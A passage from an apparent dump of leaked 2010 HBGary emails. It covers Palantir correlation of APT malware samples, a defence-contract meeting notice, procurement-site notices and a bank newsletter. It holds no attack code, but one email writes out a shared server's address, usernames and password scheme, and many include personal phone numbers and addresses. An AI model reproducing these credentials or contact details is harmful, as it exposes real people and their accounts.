Tuesday.\r\n\r\nAll of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n\r\nAaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Zollman \r\nSent: Wednesday, September 22, 2010 9:44 PM\r\nTo: \'Ted Vera\'\r\nCc: Barr Aaron; mark@hbgary.com\r\nSubject: RE: Malware presentation at Palantir GovCon\r\n\r\nTed --\r\n\r\nHaving imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n\r\nThe shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at: \r\nhttps://host25.paas.palantirtech.com:25280/\r\n\r\nYour usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n\r\nI\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, September 17, 2010 6:56 PM\r\nTo: Aaron Zollman\r\nCc: Barr Aaron; mark@hbgary.com\r\nSubject: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nAttached are some known APT samples from an ongoing investigation.\r\nPlease add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n\r\nHope you have a nice weekend!\r\nTed\r\n',6991,'aaron_hbgary_com/6991.html'),(12397,'2010-09-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009154.M976788P14101Q7252.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: SSC PAC Cyber Warfare (Pre-award Status & Contract Planning Meeting)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI.\r\n\r\n&nbsp;\r\n\r\nAre either of you going to the GD meeting?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jackie Mathis\r\n[mailto:jmathis@ndti.net] \r\nSent: Tuesday, September 28, 2010 6:45 PM\r\nTo: Ebber@avi.com; \'Kevin Estrem\'; \'Murphy, Marc (US - Charlotte)\';\r\n\'Smith, Timothy-P65114 (EXT) (GDC4S)\'; \'Long, John P\';\r\ncarl.houghton@issinc.com; \'Beck, Bob\'; \'Autry, Tim\'; \'Dan Roberts\'; \'Elijah\r\nSutton\'; \'Mike Smith\'; \'Adam Stotz\'; \'Dave Atherton\';\r\nrobert_labella@minervaengineering.com; sbodmer@savidcorp.com; \'Lynn Lehman\';\r\n\'Lee Krause\'; wbrew@simulexinc.com; \'Alok Chaturvedi\'; mgotte@wareonearth.com;\r\n\'Roger Webb\'; james.mulvenon@defensegp.com; \'Bob Slapnik\'; \'Jeffrey Carr\';\r\nJondi_Bernardo@McAfee.com; \'Mike Sulek\'; sleanheart@telcordia.com;\r\nrichard.tillery@vissllc.com; gproctor@atcorp-dc.com; jim.burton@cataphora.com;\r\n\'Jeffrey Morgan\'; \'Jacobson, Ron\'; \'Dietz, James Eric\'; tgrabowski@netezza.com;\r\n\'Wendy Yee\'; jmathis106@verizon.net; \'Dominic Peralta\'\r\nSubject: RE: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract\r\nPlanning Meeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi to the Cyber Warfare GD Team. I look forward to meeting each\r\nof you or your representatives during our planning meeting this week and\r\nfinding out more about your companies. \r\n\r\n&nbsp;\r\n\r\nMy company NDTI plans to bid the upcoming Air Force NETCENTS II\r\ncontract functional category Service Disabled Veteran Owned Small Business as a\r\nprime and we are looking for potential team mates. If you are interested in\r\njoining our team please feel free to drop me an email note and we can plan to\r\ntalk during this meeting or shortly afterward. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJackie Mathis\r\n\r\nSenior Director\r\n\r\nNew Directions\r\nTechnologies, Inc. \r\n\r\n805-984-3986\r\n\r\n805-469-6565\r\ncell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Tuesday, September 07, 2010 7:23 PM\r\nTo: Ebber@avi.com; Kevin Estrem; Murphy, Marc (US - Charlotte); Smith,\r\nTimothy-P65114 (EXT) (GDC4S); Long, John P; carl.houghton@issinc.com; Beck,\r\nBob; Autry, Tim; Dan Roberts; Elijah Sutton; Mike Smith; Adam Stotz; Dave\r\nAtherton; robert_labella@minervaengineering.com; jmathis@ndti.net;\r\nsbodmer@savidcorp.com; Lynn Lehman; Lee Krause; wbrew@simulexinc.com; Alok\r\nChaturvedi; mgotte@wareonearth.com; Roger Webb; james.mulvenon@defensegp.com;\r\n\'Bob Slapnik\'; Jeffrey Carr; Jondi_Bernardo@McAfee.com; Mike Sulek;\r\nsleanheart@telcordia.com; richard.tillery@vissllc.com; gproctor@atcorp-dc.com;\r\njim.burton@cataphora.com; Jeffrey Morgan; Jacobson, Ron; Dietz, James Eric;\r\ntgrabowski@netezza.com; Wendy Yee\r\nCc: Valdez, George G.; Rabideau, Tim J.; Carron, Brian E.; Martin,\r\nRobert Z.; Jaeger, James A.\r\nSubject: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract Planning\r\nMeeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,&nbsp;\r\nPlease review the attached slide deck for our SSC PAC Cyber Warfare meeting\r\ndetails.&nbsp; We understand that not everyone will be able to attend, but\r\nwanted to ensure that all exclusive team members are invited. For those unable\r\nto attend, meeting notes will be taken and distributed to the team.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nActions\r\n\r\n\r\n\r\n\r\n Select\r\n     Yes or No for your attend so we can get a head count\r\n Let\r\n     me know if you have any questions\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLook\r\nforward to all that can make the trip!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6349,'aaron_hbgary_com/6349.html'),(12398,'2010-09-29','arc@westfields.net','/aaron@hbgary.com/new/1297009155.M287394P14101Q7253.eml','federal@hbgary.com','IARPA - N/A / Rose Announcement Posting','\r\nAn announcement has been posted on the IARPA/N/A-Rose effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select IARPA - N/A /Rose from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2486,'aaron_hbgary_com/2486.html'),(12399,'2010-09-29','\"KippsDeSanto & Co.\" <kippsdesanto@kippsdesanto.com>','/aaron@hbgary.com/new/1297009155.M506508P14101Q7254.eml','aaron@hbgary.com','KippsDeSanto & Co. Advises Healthcare IT Firm, Buccaneer Computer Systems & Service, Inc., on its Sale to Vangent, Inc.','\r\n\r\n\r\nWelcome to KippsDeSanto\r\n\r\n\r\n\r\nbody{margin:0px;}.style1 {font-family: Arial, Helvetica, sans-serif;font-size:20px; font-style:italic; font-weight:bold; line-height:24px}\r\n.style2 {font-family: Arial, Helvetica, sans-serif;font-size:17px; line-height:22px; margin-left:0px; margin-top:0px; padding:0px;}\r\n.style3 {font-family: Arial, Helvetica, sans-serif;font-size:17px; line-height:21px; margin-left:0px; margin-top:0px; padding:0px}\r\na.link{ text-decoration:underline;color:#000000}\r\na.link1{ text-decoration:underline;color:#000000; font-weight:bold}\r\na.style4 {color: #2a719f; text-decoration:none}\r\na.style4:hover {color: #2a719f; text-decoration:none}\r\n.style8 {font-family: Arial, Helvetica, sans-serif; font-size:20px; font-style:italic;color: #0080c3; line-height:23px; font-weight:bold; margin-left:0px; margin-top:0px}\r\n.style9 {font-family: Arial;font-size:12px; line-height:15px; color:#000000; text-align:justify;}\r\n.style91 {font-family: Arial;font-size:12px; line-height:15px; color:#000000; text-align:justify; padding-left:20px;}\r\na.style9 {font-family: Arial; font-size:12px;line-height:15px; color:#000000; text-align:justify; text-decoration:none}\r\na.style9:hover {font-family: Arial;font-size:12px; line-height:15px; color:#000000; text-align:justify; text-decoration:none}\r\n.style10 {font-family: Arial, Helvetica, sans-serif; font-size:13px; font-style:normal;color: #000000; line-height:23px; font-weight:bold; margin-left:0px; margin-top:0px}\r\n.style13 {font-family: Arial, Helvetica, sans-serif; font-size:21px; font-style:normal;color: #0080c3; line-height:23px; font-weight:bold; margin-left:0px; margin-top:0px}\r\nul{margin-top:0px;margin-bottom:0px;}\r\n.left{margin-left:-25px; margin-top:0px; padding:0px;}\r\n.center{font-family: Arial;font-size:12px; line-height:15px; color:#000000; text-align:center;}\r\n.heading{ font-size:13px; letter-spacing:4px; color:#666;}\r\n\r\n\r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n   \r\n\r\n\r\n \r\n\r\n \r\n \r\n  \r\n\r\n \r\n\r\n  &nbsp; \r\n\r\n\r\n\r\n\r\n  \r\n\r\n    \r\n                          \r\n                            &nbsp;\r\n                          \r\n                        \r\n\r\n  \r\n\r\n  \r\n    KippsDeSanto & Co. Advises Healthcare IT Firm, Buccaneer Computer Systems & Service, Inc., on its Sale to Vangent, Inc.\r\n\r\n  \r\n\r\n   \r\n\r\n    \r\n\r\n  \r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n\r\n	\r\n      \r\n\r\n        \r\n\r\n       KippsDeSanto & Co. is pleased to announce the acquisition of our client, Buccaneer Computer Systems and Service, Inc. (\"Buccaneer”), by Vangent, Inc. (“Vangent”), a portfolio company of Veritas Capital.  Vangent acquired Buccaneer to deepen its IT infrastructure and data analytics capabilities, particularly in the government healthcare IT market.  The transaction closed on September 15th, 2010.\r\n\r\n          \r\n    Headquartered in Warrenton, VA, Buccaneer is a leading provider of IT services that enable federal healthcare organizations to operate more efficiently, effectively, and securely.  The Company’s services include secure data hosting, IT laboratory operation and maintenance, and data mining & \r\n\r\n        \r\n\r\n        \r\n      \r\n\r\n    \r\n\r\n  \r\n\r\n\r\n  \r\n\r\n    analytics, amongst other IT services.  Buccaneer directly supports priority healthcare initiatives to reduce healthcare costs, increase quality of care, and widen availability of care.  Key customers include the Centers for Medicare and Medicaid Services and Food & Drug Administration.  Buccaneer has over 500 employees. \r\n\r\n  We believe this transaction represents a number of key trends in government technology M&A:\r\n    \r\n\r\n  \r\n  \r\n\r\n    \r\n\r\n  \r\n  \r\n\r\n    \r\n      Companies focused in health information technology remain at the forefront of industry acquisition criteria. \r\n\r\n      High-growth companies are highly sought after in the context of today’s cautious budget environment.\r\n      \r\n            A thorough understanding of government contracting and small business preference programs by an experienced advisor team can facilitate competitive pricing and outcomes.\r\n         \r\n\r\n \r\n\r\n  \r\n\r\n  \r\n    \r\n\r\n  \r\n \r\n\r\n\r\n\r\n\r\n  \r\n\r\n    KippsDeSanto & Co. is an investment bank focused on delivering exceptional M&A and financing transaction results for leading technology and defense companies.  For more information on KippsDeSanto & Co., please visit  www.kippsdesanto.com.\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n  \r\n  \r\n\r\n    \r\n\r\n  \r\n\r\n  \r\n\r\n    We welcome the opportunity to discuss how KippsDeSanto & Co. can help you achieve your strategic objectives.  For more information on this particular transaction, please contact one of the deal team leaders below.\r\n\r\n  \r\n\r\n  \r\n\r\n    \r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n    \r\n\r\n      KippsDeSanto & Co. Deal Team Leaders\r\n\r\n	  \r\n\r\n	\r\n	\r\n     \r\n\r\n        Kevin DeSanto\r\n              Director\r\n              703.442.1402\r\n\r\n          kdesanto@kippsdesanto.com\r\n\r\n        Marc Marlin\r\n\r\n              Vice President\r\n\r\n              703.442.1403\r\n          mmarlin@kippsdesanto.com\r\n\r\n      \r\n    \r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n&nbsp;   \r\n\r\n\r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by kippsdesanto@kippsdesanto.com.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nKippsDeSanto & Co. | 1600 Tysons Boulevard | Suite 375 | McLean | VA | 22102\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10817,'aaron_hbgary_com/10817.html'),(12400,'2010-09-29','arc@westfields.net','/aaron@hbgary.com/new/1297009155.M704132P14101Q7255.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 09/28/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nIARPA/N/A-Rose (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/MOD-MiraBella (Announcement & Document Posting)\r\n\r\nNRO/MOD-Silver Eagle (Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7597,'aaron_hbgary_com/7597.html'),(12401,'2010-09-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009155.M899765P14101Q7256.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Your training flyer/special','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you have something yet?&nbsp; I have a customer who would be\r\ninterested\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may 